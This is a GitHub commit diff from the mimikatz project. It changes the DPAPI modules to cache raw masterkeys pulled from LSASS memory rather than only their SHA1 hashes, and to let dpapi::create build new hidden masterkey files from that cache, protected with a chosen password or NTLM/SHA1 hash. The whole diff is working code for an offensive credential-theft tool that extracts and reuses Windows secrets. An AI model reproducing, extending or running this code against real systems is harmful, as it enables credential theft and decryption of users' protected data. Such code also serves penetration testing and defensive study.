Skip to content

Commit

Permalink
[new] dpapi::create now deals with dpapi::cache to encrypt multiple m…
Browse files Browse the repository at this point in the history
…asterkeys

[new] dpapi::cache save raw keys instead of only SHA1 of them
  • Loading branch information
gentilkiwi committed Mar 8, 2020
1 parent d07283a commit a5088d9
Show file tree
Hide file tree
Showing 6 changed files with 197 additions and 130 deletions.
230 changes: 140 additions & 90 deletions mimikatz/modules/dpapi/kuhl_m_dpapi.c
Original file line number Diff line number Diff line change
Expand Up @@ -376,120 +376,170 @@ NTSTATUS kuhl_m_dpapi_masterkey(int argc, wchar_t * argv[])
return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_dpapi_create(int argc, wchar_t * argv[])

void kuhl_m_dpapi_create_data(LPCWSTR sid, LPCGUID guid, LPCBYTE key, DWORD cbKey, LPCWSTR password, LPCBYTE hash, DWORD cbHash, BOOL isProtected, DWORD flags, BOOL verbose)
{
KULL_M_DPAPI_MASTERKEY masterkey = {2, {0}, 4000, CALG_HMAC, CALG_3DES, NULL, 0}; // XP friendly
KULL_M_DPAPI_MASTERKEYS masterkeys = {2, 0, 0, {0}, 0, 0, 0, 0, 0, 0, 0, &masterkey, NULL, NULL, NULL};
LPCWSTR szData;
LPWSTR convertedSid = NULL, convertedGuid = NULL;
PSID pSid;
PBYTE pKey = NULL, pHash = NULL, pSystem = NULL, data;
DWORD cbKey = 0, cbHash = 0, cbSystem = 0;
KULL_M_DPAPI_MASTERKEYS masterkeys = {2, 0, 0, {0}, 0, 0, flags, 0, 0, 0, 0, &masterkey, NULL, NULL, NULL};
UNICODE_STRING uGuid;
GUID guid;
PBYTE data;
wchar_t guidFilename[37];
BOOL isLocal, isProtected = kull_m_string_args_byName(argc, argv, L"protected", NULL, NULL);

if(kull_m_string_args_byName(argc, argv, L"sid", &szData, NULL))
if(guid)
{
if(ConvertStringSidToSid(szData, &pSid))
kprintf(L"Key GUID: ");
kull_m_string_displayGUID(guid);
kprintf(L"\n");

if(key && cbKey)
{
if(NT_SUCCESS(RtlStringFromGUID(guid, &uGuid)))
{
ConvertSidToStringSid(pSid, &convertedSid);
LocalFree(pSid);
CDGenerateRandomBits(masterkey.salt, sizeof(masterkey.salt));
RtlCopyMemory(masterkeys.szGuid, uGuid.Buffer + 1, uGuid.Length - 4);
if(password)
{
if(!kull_m_dpapi_protect_masterkey_with_password(masterkeys.dwFlags, &masterkey, password, sid, isProtected, key, cbKey, NULL))
PRINT_ERROR(L"kull_m_dpapi_protect_masterkey_with_password\n");
}
else if(hash && cbHash)
{
if(!kull_m_dpapi_protect_masterkey_with_userHash(&masterkey, hash, cbHash, sid, isProtected, key, cbKey, NULL))
PRINT_ERROR(L"kull_m_dpapi_protect_masterkey_with_userHash\n");
}
if(masterkey.pbKey)
{
if(data = kull_m_dpapi_masterkeys_tobin(&masterkeys, &masterkeys.dwMasterKeyLen))
{
if(verbose)
kull_m_dpapi_masterkeys_descr(0, &masterkeys);
RtlCopyMemory(guidFilename, masterkeys.szGuid, min(sizeof(guidFilename), sizeof(masterkeys.szGuid)));
guidFilename[ARRAYSIZE(guidFilename) - 1] = L'\0';
kprintf(L"File \'%s\' (hidden & system): ", guidFilename);
if(kull_m_file_writeData(guidFilename, data, (DWORD) masterkeys.dwMasterKeyLen))
{
if(SetFileAttributes(guidFilename, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_ARCHIVE))
kprintf(L"OK\n");
else PRINT_ERROR_AUTO(L"SetFileAttributes");
}
else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
LocalFree(data);
}
LocalFree(masterkey.pbKey);
}
}
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid");
}
else convertedSid = kull_m_token_getCurrentSid();
else PRINT_ERROR(L"No key\n");

if(kull_m_string_args_byName(argc, argv, L"hash", &szData, NULL))
kull_m_string_stringToHexBuffer(szData, &pHash, &cbHash);
if(kull_m_string_args_byName(argc, argv, L"system", &szData, NULL))
kull_m_string_stringToHexBuffer(szData, &pSystem, &cbSystem);
}
}

if(kull_m_string_args_byName(argc, argv, L"guid", &szData, NULL))
NTSTATUS kuhl_m_dpapi_create(int argc, wchar_t * argv[])
{
LPCWSTR szData, szPassword = NULL;
LPWSTR convertedSid = NULL, convertedGuid = NULL;
PSID pSid;
PBYTE pKey = NULL, pHash = NULL, pSystem = NULL;
DWORD flags = 0, cbKey = 0, cbHash = 0, cbSystem = 0;
UNICODE_STRING uGuid;
GUID guid;
BOOL isLocal, isProtected = FALSE;
PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY entry;

if(kull_m_string_args_byName(argc, argv, L"system", &szData, NULL))
{
if(kull_m_string_stringToHexBuffer(szData, &pSystem, &cbSystem))
{
flags |= 2;
PRINT_ERROR(L"TODO for local machine secrets, if needed.\n");
}
}
else
{
if(szData[0] == L'{')
kull_m_string_copy(&convertedGuid, szData);
else kull_m_string_sprintf(&convertedGuid, L"{%s}", szData);
if(convertedGuid)
if(kull_m_string_args_byName(argc, argv, L"sid", &szData, NULL))
{
if(ConvertStringSidToSid(szData, &pSid))
{
ConvertSidToStringSid(pSid, &convertedSid);
LocalFree(pSid);
}
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid");
}
else convertedSid = kull_m_token_getCurrentSid();
if(convertedSid)
{
RtlInitUnicodeString(&uGuid, convertedGuid);
if(NT_SUCCESS(RtlGUIDFromString(&uGuid, &guid)))
kprintf(L"Target SID is: %s\n", convertedSid);
isProtected = kull_m_string_args_byName(argc, argv, L"protected", NULL, NULL);
if(kull_m_string_args_byName(argc, argv, L"password", &szPassword, NULL))
{
RtlCopyMemory(masterkeys.szGuid, convertedGuid + 1, uGuid.Length - 4);
if(kull_m_string_args_byName(argc, argv, L"key", &szData, NULL))
if(kull_m_string_args_byName(argc, argv, L"md4", NULL, NULL) || kull_m_string_args_byName(argc, argv, L"dpapi", NULL, NULL))
isLocal = FALSE;
else if(kull_m_string_args_byName(argc, argv, L"sha1", NULL, NULL))
isLocal = TRUE;
else
{
if(kull_m_string_stringToHexBuffer(szData, &pKey, &cbKey))
isLocal = FALSE;
kull_m_token_isLocalAccount(NULL, &isLocal);
}
if(isLocal)
flags |= 4;
kprintf(L"\n[masterkey] with password: %s (%s user)\n", szPassword, isProtected ? L"protected" : L"normal");
}
else
{
if(kull_m_string_args_byName(argc, argv, L"hash", &szData, NULL))
{
if(kull_m_string_stringToHexBuffer(szData, &pHash, &cbHash))
{
CDGenerateRandomBits(masterkey.salt, sizeof(masterkey.salt));
if(pSystem && cbSystem)
{
masterkeys.dwFlags |= 2;
PRINT_ERROR(L"TODO for local machine secrets, if needed.\n");
}
else if(convertedSid)
kprintf(L"\n[masterkey] with hash: "); kull_m_string_wprintf_hex(pHash, cbHash, 0);
if(cbHash == LM_NTLM_HASH_LENGTH)
kprintf(L" (ntlm type)\n");
else if(cbHash == SHA_DIGEST_LENGTH)
{
kprintf(L"Target SID is: %s\n", convertedSid);
if(kull_m_string_args_byName(argc, argv, L"password", &szData, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"md4", NULL, NULL) || kull_m_string_args_byName(argc, argv, L"dpapi", NULL, NULL))
isLocal = FALSE;
else if(kull_m_string_args_byName(argc, argv, L"sha1", NULL, NULL))
isLocal = TRUE;
else
{
isLocal = FALSE;
kull_m_token_isLocalAccount(NULL, &isLocal);
}
if(isLocal)
masterkeys.dwFlags |= 4;
kprintf(L"\n[masterkey] with password: %s (%s user)\n", szData, isProtected ? L"protected" : L"normal");
if(!kull_m_dpapi_protect_masterkey_with_password(masterkeys.dwFlags, &masterkey, szData, convertedSid, isProtected, pKey, cbKey, NULL))
PRINT_ERROR(L"kull_m_dpapi_protect_masterkey_with_password\n");
}
else if(pHash)
{
kprintf(L"\n[masterkey] with hash: "); kull_m_string_wprintf_hex(pHash, cbHash, 0);
if(cbHash == LM_NTLM_HASH_LENGTH)
kprintf(L" (ntlm type)\n");
else if(cbHash == SHA_DIGEST_LENGTH)
{
kprintf(L" (sha1 type)\n");
masterkeys.dwFlags |= 4;
}
else kprintf(L" (?)\n");
if(!kull_m_dpapi_protect_masterkey_with_userHash(&masterkey, pHash, cbHash, convertedSid, isProtected, pKey, cbKey, NULL))
PRINT_ERROR(L"kull_m_dpapi_protect_masterkey_with_userHash\n");
}
kprintf(L" (sha1 type)\n");
flags |= 4;
}
else kprintf(L" (?)\n");
}
}
}
}
else PRINT_ERROR(L"No SID ?\n");
}

if(masterkey.pbKey)
if(pSystem || szPassword || pHash)
{
if(kull_m_string_args_byName(argc, argv, L"guid", &szData, NULL))
{
if(szData[0] == L'{')
kull_m_string_copy(&convertedGuid, szData);
else kull_m_string_sprintf(&convertedGuid, L"{%s}", szData);
if(convertedGuid)
{
RtlInitUnicodeString(&uGuid, convertedGuid);
if(NT_SUCCESS(RtlGUIDFromString(&uGuid, &guid)))
{
if(kull_m_string_args_byName(argc, argv, L"key", &szData, NULL))
{
if(kull_m_string_stringToHexBuffer(szData, &pKey, &cbKey))
{
if(data = kull_m_dpapi_masterkeys_tobin(&masterkeys, &masterkeys.dwMasterKeyLen))
{
kull_m_dpapi_masterkeys_descr(0, &masterkeys);
RtlCopyMemory(guidFilename, masterkeys.szGuid, min(sizeof(guidFilename), sizeof(masterkeys.szGuid)));
guidFilename[ARRAYSIZE(guidFilename) - 1] = L'\0';
kprintf(L"File \'%s\' (hidden & system): ", guidFilename);
if(kull_m_file_writeData(guidFilename, data, (DWORD) masterkeys.dwMasterKeyLen))
{
if(SetFileAttributes(guidFilename, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_ARCHIVE))
kprintf(L"OK\n");
else PRINT_ERROR_AUTO(L"SetFileAttributes");
}
else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
LocalFree(data);
}
LocalFree(masterkey.pbKey);
kuhl_m_dpapi_create_data(convertedSid, &guid, pKey, cbKey, szPassword, pHash, cbHash, isProtected, flags, TRUE);
LocalFree(pKey);
}
LocalFree(pKey);
}
}
else PRINT_ERROR(L"Not a valid GUID\n");
LocalFree(convertedGuid);
}
else PRINT_ERROR(L"Not a valid GUID\n");
LocalFree(convertedGuid);
}
else
{
kprintf(L"No key specified, using local cache...\n");
for(entry = (PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY) gDPAPI_Masterkeys.Flink; entry != (PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY) &gDPAPI_Masterkeys; entry = (PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY) entry->navigator.Flink)
kuhl_m_dpapi_create_data(convertedSid, &entry->data.guid, entry->data.key, entry->data.keyLen, szPassword, pHash, cbHash, isProtected, flags, FALSE);
}
}
else PRINT_ERROR(L"No target credentials\n");

if(convertedSid)
LocalFree(convertedSid);
Expand Down Expand Up @@ -682,13 +732,13 @@ void kuhl_m_dpapi_display_MasterkeyInfosAndFree(LPCGUID guid, PVOID data, DWORD
kprintf(L" key : ");
kull_m_string_wprintf_hex(data, dataLen, 0);
kprintf(L"\n");
if(guid)
kuhl_m_dpapi_oe_masterkey_add(guid, data, dataLen);
if(kull_m_crypto_hash(CALG_SHA1, data, dataLen, digest, sizeof(digest)))
{
kprintf(L" sha1: ");
kull_m_string_wprintf_hex(digest, sizeof(digest), 0);
kprintf(L"\n");
if(guid)
kuhl_m_dpapi_oe_masterkey_add(guid, digest, sizeof(digest));
}
LocalFree(data);
if(sid)
Expand Down
31 changes: 23 additions & 8 deletions mimikatz/modules/dpapi/kuhl_m_dpapi_oe.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,23 +20,35 @@ PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY kuhl_m_dpapi_oe_masterkey_get(LPCGUID guid)
return NULL;
}

BOOL kuhl_m_dpapi_oe_masterkey_add(LPCGUID guid, LPCVOID keyHash, DWORD keyLen)
BOOL kuhl_m_dpapi_oe_masterkey_add(LPCGUID guid, LPCVOID key, DWORD keyLen)
{
BOOL status = FALSE;
PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY entry;
BYTE digest[SHA_DIGEST_LENGTH];

if(guid && keyHash && keyLen)
if(guid && key && keyLen)
{
if(!kuhl_m_dpapi_oe_masterkey_get(guid))
{
if(keyLen != SHA_DIGEST_LENGTH)
kull_m_crypto_hash(CALG_SHA1, keyHash, keyLen, digest, sizeof(digest));

if(entry = (PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY) LocalAlloc(LPTR, sizeof(KUHL_M_DPAPI_OE_MASTERKEY_ENTRY)))
{
RtlCopyMemory(&entry->data.guid, guid, sizeof(GUID));
RtlCopyMemory(entry->data.keyHash, (keyLen == SHA_DIGEST_LENGTH) ? keyHash : digest, SHA_DIGEST_LENGTH);
if(keyLen == SHA_DIGEST_LENGTH)
{
RtlCopyMemory(entry->data.keyHash, key, SHA_DIGEST_LENGTH);
status = TRUE;
}
else
{
kull_m_crypto_hash(CALG_SHA1, key, keyLen, digest, sizeof(digest));
RtlCopyMemory(entry->data.keyHash, digest, sizeof(digest));
if(entry->data.key = (BYTE *) LocalAlloc(LPTR, keyLen))
{
RtlCopyMemory(entry->data.key, key, keyLen);
entry->data.keyLen = keyLen;
status = TRUE;
}
}
entry->navigator.Blink = gDPAPI_Masterkeys.Blink;
entry->navigator.Flink = &gDPAPI_Masterkeys;
((PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY) gDPAPI_Masterkeys.Blink)->navigator.Flink = (PLIST_ENTRY) entry;
Expand All @@ -55,6 +67,9 @@ void kuhl_m_dpapi_oe_masterkey_delete(PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY entry)
{
((PKUHL_M_DPAPI_OE_CREDENTIAL_ENTRY) entry->navigator.Blink)->navigator.Flink = entry->navigator.Flink;
((PKUHL_M_DPAPI_OE_CREDENTIAL_ENTRY) entry->navigator.Flink)->navigator.Blink = entry->navigator.Blink;

if(entry->data.key)
LocalFree(entry->data.key);
LocalFree(entry);
}
}
Expand All @@ -69,7 +84,7 @@ void kuhl_m_dpapi_oe_masterkey_descr(PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY entry)

kprintf(L"KeyHash:");
kull_m_string_wprintf_hex(entry->data.keyHash, sizeof(entry->data.keyHash), 0);
kprintf(L"\n");
kprintf(L";Key:%savailable\n", entry->data.key ? L"": L"not ");
}
}

Expand Down Expand Up @@ -530,7 +545,7 @@ BOOL kuhl_m_dpapi_oe_LoadFromFile(LPCWSTR filename)
if(kull_m_dpapi_oe_DecodeDpapiEntries(dataIn, dwDataIn, &entries))
{
for(i = 0, j = 0; i < entries.MasterKeyCount; i++)
if(kuhl_m_dpapi_oe_masterkey_add(&entries.MasterKeys[i]->guid, entries.MasterKeys[i]->keyHash, sizeof(entries.MasterKeys[i]->keyHash)))
if(kuhl_m_dpapi_oe_masterkey_add(&entries.MasterKeys[i]->guid, entries.MasterKeys[i]->keyLen ? entries.MasterKeys[i]->key : entries.MasterKeys[i]->keyHash, entries.MasterKeys[i]->keyLen ? entries.MasterKeys[i]->keyLen : sizeof(entries.MasterKeys[i]->keyHash)))
j++;
kprintf(L" * %3u/%3u MasterKey(s) imported\n", j, entries.MasterKeyCount);

Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/dpapi/kuhl_m_dpapi_oe.h
Original file line number Diff line number Diff line change
Expand Up @@ -41,7 +41,7 @@ LIST_ENTRY gDPAPI_Credentials;
LIST_ENTRY gDPAPI_Domainkeys;

PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY kuhl_m_dpapi_oe_masterkey_get(LPCGUID guid);
BOOL kuhl_m_dpapi_oe_masterkey_add(LPCGUID guid, LPCVOID keyHash, DWORD keyLen);
BOOL kuhl_m_dpapi_oe_masterkey_add(LPCGUID guid, LPCVOID key, DWORD keyLen);
void kuhl_m_dpapi_oe_masterkey_delete(PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY entry);
void kuhl_m_dpapi_oe_masterkey_descr(PKUHL_M_DPAPI_OE_MASTERKEY_ENTRY entry);
void kuhl_m_dpapi_oe_masterkeys_delete();
Expand Down
4 changes: 1 addition & 3 deletions mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_dpapi.c
Original file line number Diff line number Diff line change
Expand Up @@ -83,11 +83,9 @@ BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_dpapi(IN PKIWI_BASIC_SECURITY_LOGON_
{
(*pData->lsassLocalHelper->pLsaUnprotectMemory)(aKey.address, mesCredentials.keySize);
kprintf(L"\n\t * MasterKey :\t"); kull_m_string_wprintf_hex(aKey.address, mesCredentials.keySize, 0);
kuhl_m_dpapi_oe_masterkey_add(&mesCredentials.KeyUid, aKey.address, mesCredentials.keySize);
if(kull_m_crypto_hash(CALG_SHA1, aKey.address, mesCredentials.keySize, dgst, SHA_DIGEST_LENGTH))
{
kprintf(L"\n\t * sha1(key) :\t"); kull_m_string_wprintf_hex(dgst, SHA_DIGEST_LENGTH, 0);
kuhl_m_dpapi_oe_masterkey_add(&mesCredentials.KeyUid, dgst, SHA_DIGEST_LENGTH);
}
}
LocalFree(aKey.address);
}
Expand Down
Loading

0 comments on commit a5088d9

Please sign in to comment.